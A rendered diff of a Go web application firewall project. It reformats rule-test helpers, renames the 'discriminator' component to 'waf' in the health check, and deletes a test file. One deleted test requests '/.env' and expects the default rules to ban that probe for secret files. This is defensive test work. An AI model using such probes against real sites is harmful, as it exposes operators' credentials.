|
t,
|
||||||
|
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
|
||||||
|
)
|
||||||
wantMatched(t, files, get(t, "/edited"), "first")
|
wantMatched(t, files, get(t, "/edited"), "first")
|
||||||
wantFileError()
|
wantFileError()
|
||||||
}
|
}
|
||||||
@@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
|
|||||||
// watch loads the rules in dir, runs their Watch until the test ends, and
|
// watch loads the rules in dir, runs their Watch until the test ends, and
|
||||||
// waits until it watches the directory. It returns the alerts' queue as
|
// waits until it watches the directory. It returns the alerts' queue as
|
||||||
// well.
|
// well.
|
||||||
func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
|
func watch(
|
||||||
|
t *testing.T,
|
||||||
|
dir string,
|
||||||
|
) (*rules.Files, processLog, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
params, lines := newParams(dir)
|
params, lines := newParams(dir)
|
||||||
@@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request {
|
|||||||
|
|
||||||
// wantRefusedBy checks that a GET request for target with the user agent
|
// wantRefusedBy checks that a GET request for target with the user agent
|
||||||
// sent matches rule alone, and that rule refuses it.
|
// sent matches rule alone, and that rule refuses it.
|
||||||
func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
|
func wantRefusedBy(
|
||||||
|
t *testing.T,
|
||||||
|
files *rules.Files,
|
||||||
|
target, sent, rule string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
r := get(t, target)
|
r := get(t, target)
|
||||||
r.Header.Set(userAgent, sent)
|
r.Header.Set(userAgent, sent)
|
||||||
|
|
||||||
matched := files.Match(r)
|
matched := files.Match(r)
|
||||||
if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
|
if len(matched) != 1 || matched[0].ID != rule ||
|
||||||
|
matched[0].Action == rules.ActionLog {
|
||||||
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
||||||
sent, ids(matched), rule)
|
sent, ids(matched), rule)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantMatched checks the ids of the rules r matches, in order.
|
// wantMatched checks the ids of the rules r matches, in order.
|
||||||
func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
|
func wantMatched(
|
||||||
|
t *testing.T,
|
||||||
|
files *rules.Files,
|
||||||
|
r *http.Request,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := ids(files.Match(r))
|
got := ids(files.Match(r))
|
||||||
|
|||||||
+616
-145
File diff suppressed because it is too large.
Load diff
+1104
-269
File diff suppressed because it is too large.
Load diff
@@ -1,204 +0,0 @@
|
|||||||
package sww_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"context"
|
|
||||||
"crypto/rand"
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"syscall"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
|
||||||
)
|
|
||||||
|
|
||||||
// commandForMain, while set in the environment, has this test binary run Main
|
|
||||||
// with the command it gives, in place of the tests, so that a test can run
|
|
||||||
// Main in a process of its own.
|
|
||||||
const commandForMain = "SWW_TEST_COMMAND"
|
|
||||||
|
|
||||||
func TestMain(m *testing.M) {
|
|
||||||
command, set := os.LookupEnv(commandForMain)
|
|
||||||
if !set {
|
|
||||||
os.Exit(m.Run())
|
|
||||||
}
|
|
||||||
|
|
||||||
os.Args = strings.Fields("sww " + command)
|
|
||||||
|
|
||||||
os.Exit(sww.Main(testVersion))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMainRunsDiscriminator(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
binary, err := os.Executable()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("find the test binary: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
|
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
out := &output{}
|
|
||||||
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
|
|
||||||
cmd.Stdout = out
|
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
|
||||||
commandForMain+"="+discriminatorCommand,
|
|
||||||
listenAddr+"="+localhost+":0",
|
|
||||||
stateDir+"="+t.TempDir(),
|
|
||||||
rulesDir+"="+t.TempDir(),
|
|
||||||
lookupSource+"=off")
|
|
||||||
|
|
||||||
err = cmd.Start()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("start: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
_ = cmd.Process.Kill()
|
|
||||||
_ = cmd.Wait()
|
|
||||||
})
|
|
||||||
|
|
||||||
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
|
||||||
ask(t, addr, "/", http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
|
|
||||||
err = cmd.Process.Signal(syscall.SIGTERM)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("signal: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
err = cmd.Wait()
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("exit: %v; output:\n%s", err, out.text())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
binary, err := os.Executable()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("find the test binary: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, command := range []string{"", "serve"} {
|
|
||||||
t.Run("command "+command, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(t.Context(), waitLimit)
|
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
var stdout, stderr bytes.Buffer
|
|
||||||
|
|
||||||
cmd := exec.CommandContext(ctx, binary)
|
|
||||||
cmd.Stdout, cmd.Stderr = &stdout, &stderr
|
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(), commandForMain+"="+command)
|
|
||||||
|
|
||||||
err := cmd.Run()
|
|
||||||
|
|
||||||
if code := cmd.ProcessState.ExitCode(); code != 2 {
|
|
||||||
t.Errorf("exit status %d (%v), want 2", code, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, name := range []string{"rproxy", discriminatorCommand, "healthcheck"} {
|
|
||||||
if !strings.Contains(stderr.String(), name) {
|
|
||||||
t.Errorf("stderr %q does not name %s", stderr.String(), name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if stdout.Len() != 0 {
|
|
||||||
t.Errorf("stdout %q, want nothing", stdout.String())
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ask sends discriminator at addr rproxy's question about a request for path from
|
|
||||||
// placed, checks the answer's status and disposition, and closes it.
|
|
||||||
func ask(t *testing.T, addr, path string, status int, disposition string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
||||||
"http://"+addr+path, http.NoBody)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("new request: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
req.Header.Set(discriminator.ClientHeader, placed)
|
|
||||||
req.Header.Set("X-Request-ID", rand.Text())
|
|
||||||
|
|
||||||
transport := &http.Transport{}
|
|
||||||
defer transport.CloseIdleConnections()
|
|
||||||
|
|
||||||
res, err := (&http.Client{Transport: transport}).Do(req)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("question: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
_, _ = io.Copy(io.Discard, res.Body)
|
|
||||||
_ = res.Body.Close()
|
|
||||||
|
|
||||||
if res.StatusCode != status ||
|
|
||||||
res.Header.Get(discriminator.DispositionHeader) != disposition {
|
|
||||||
t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
|
|
||||||
res.Header.Get(discriminator.DispositionHeader), status, disposition)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// runDiscriminator runs `sww discriminator` with the settings in env, has use
|
|
||||||
// send it requests at the address it listens on, stops it as SIGTERM does, and
|
|
||||||
// checks that it stopped in order.
|
|
||||||
func runDiscriminator(t *testing.T, env map[string]string, use func(addr string)) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
ctx, stop := context.WithCancel(t.Context())
|
|
||||||
out := &output{}
|
|
||||||
exited := make(chan int, 1)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
exited <- run(ctx, env, out)
|
|
||||||
}()
|
|
||||||
|
|
||||||
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
|
||||||
use(addr)
|
|
||||||
stop()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case status := <-exited:
|
|
||||||
if status != 0 {
|
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Fatal("still running after being told to stop")
|
|
||||||
}
|
|
||||||
|
|
||||||
out.line(t, "msg", "stopped")
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDiscriminatorKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
env := map[string]string{
|
|
||||||
listenAddr: localhost + ":0",
|
|
||||||
stateDir: t.TempDir(),
|
|
||||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
|
||||||
}
|
|
||||||
|
|
||||||
runDiscriminator(t, env, func(addr string) {
|
|
||||||
ask(t, addr, "/", http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
// The default rule file bans a probe for this.
|
|
||||||
ask(t, addr, "/.env", http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
})
|
|
||||||
|
|
||||||
runDiscriminator(t, env, func(addr string) {
|
|
||||||
ask(t, addr, "/", http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
+30
-14
@@ -11,7 +11,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// healthCheckTimeout bounds the whole health check.
|
// healthCheckTimeout bounds the whole health check.
|
||||||
@@ -19,8 +19,8 @@ const healthCheckTimeout = 5 * time.Second
|
|||||||
|
|
||||||
var errHealthEndpoint = errors.New("the health endpoint answered")
|
var errHealthEndpoint = errors.New("the health endpoint answered")
|
||||||
|
|
||||||
// HealthCheck is the container's health check. In discriminator's container, where
|
// HealthCheck is the container's health check. In waf's container, where
|
||||||
// SWW_COMMAND is discriminator, it returns 0 while discriminator answers its health
|
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
||||||
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
|
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
|
||||||
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
||||||
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
|
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
|
||||||
@@ -31,7 +31,9 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
|||||||
// args are the arguments after `healthcheck`; it takes none, and given
|
// args are the arguments after `healthcheck`; it takes none, and given
|
||||||
// one it names it on stderr and returns 1 without checking anything.
|
// one it names it on stderr and returns 1 without checking anything.
|
||||||
func HealthCheck(
|
func HealthCheck(
|
||||||
ctx context.Context, args []string, lookupEnv func(string) (string, bool),
|
ctx context.Context,
|
||||||
|
args []string,
|
||||||
|
lookupEnv func(string) (string, bool),
|
||||||
stderr io.Writer,
|
stderr io.Writer,
|
||||||
) int {
|
) int {
|
||||||
if len(args) > 0 {
|
if len(args) > 0 {
|
||||||
@@ -49,8 +51,8 @@ func HealthCheck(
|
|||||||
switch {
|
switch {
|
||||||
case err != nil:
|
case err != nil:
|
||||||
err = fmt.Errorf("invalid setting: %w", err)
|
err = fmt.Errorf("invalid setting: %w", err)
|
||||||
case command == "discriminator":
|
case command == "waf":
|
||||||
err = checkDiscriminator(ctx, lookupEnv)
|
err = checkWAF(ctx, lookupEnv)
|
||||||
default:
|
default:
|
||||||
err = checkRProxyAndApp(ctx, lookupEnv)
|
err = checkRProxyAndApp(ctx, lookupEnv)
|
||||||
}
|
}
|
||||||
@@ -64,18 +66,18 @@ func HealthCheck(
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkDiscriminator asks discriminator's health endpoint.
|
// checkWAF asks waf's health endpoint.
|
||||||
func checkDiscriminator(
|
func checkWAF(
|
||||||
ctx context.Context, lookupEnv func(string) (string, bool),
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
) error {
|
) error {
|
||||||
listenAddr, err := config.DiscriminatorListenAddr(lookupEnv)
|
listenAddr, err := config.WAFListenAddr(lookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = askHealthEndpoint(ctx, listenAddr)
|
err = askHealthEndpoint(ctx, listenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("ask discriminator: %w", err)
|
return fmt.Errorf("ask waf: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -85,7 +87,9 @@ func checkDiscriminator(
|
|||||||
func checkRProxyAndApp(
|
func checkRProxyAndApp(
|
||||||
ctx context.Context, lookupEnv func(string) (string, bool),
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
) error {
|
) error {
|
||||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
|
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
|
||||||
|
lookupEnv,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
@@ -95,7 +99,11 @@ func checkRProxyAndApp(
|
|||||||
return fmt.Errorf("ask rproxy: %w", err)
|
return fmt.Errorf("ask rproxy: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
|
conn, err := (&net.Dialer{}).DialContext(
|
||||||
|
ctx,
|
||||||
|
"tcp",
|
||||||
|
appAddress(upstreamURL),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("connect to the app: %w", err)
|
return fmt.Errorf("connect to the app: %w", err)
|
||||||
}
|
}
|
||||||
@@ -109,9 +117,17 @@ func checkRProxyAndApp(
|
|||||||
// listenAddr, which the settings have checked has one.
|
// listenAddr, which the settings have checked has one.
|
||||||
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
||||||
_, port, _ := net.SplitHostPort(listenAddr)
|
_, port, _ := net.SplitHostPort(listenAddr)
|
||||||
health := "http://" + net.JoinHostPort("127.0.0.1", port) + discriminator.HealthPath
|
health := "http://" + net.JoinHostPort(
|
||||||
|
"127.0.0.1",
|
||||||
|
port,
|
||||||
|
) + waf.HealthPath
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
health,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
Loaded 100 of 167 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user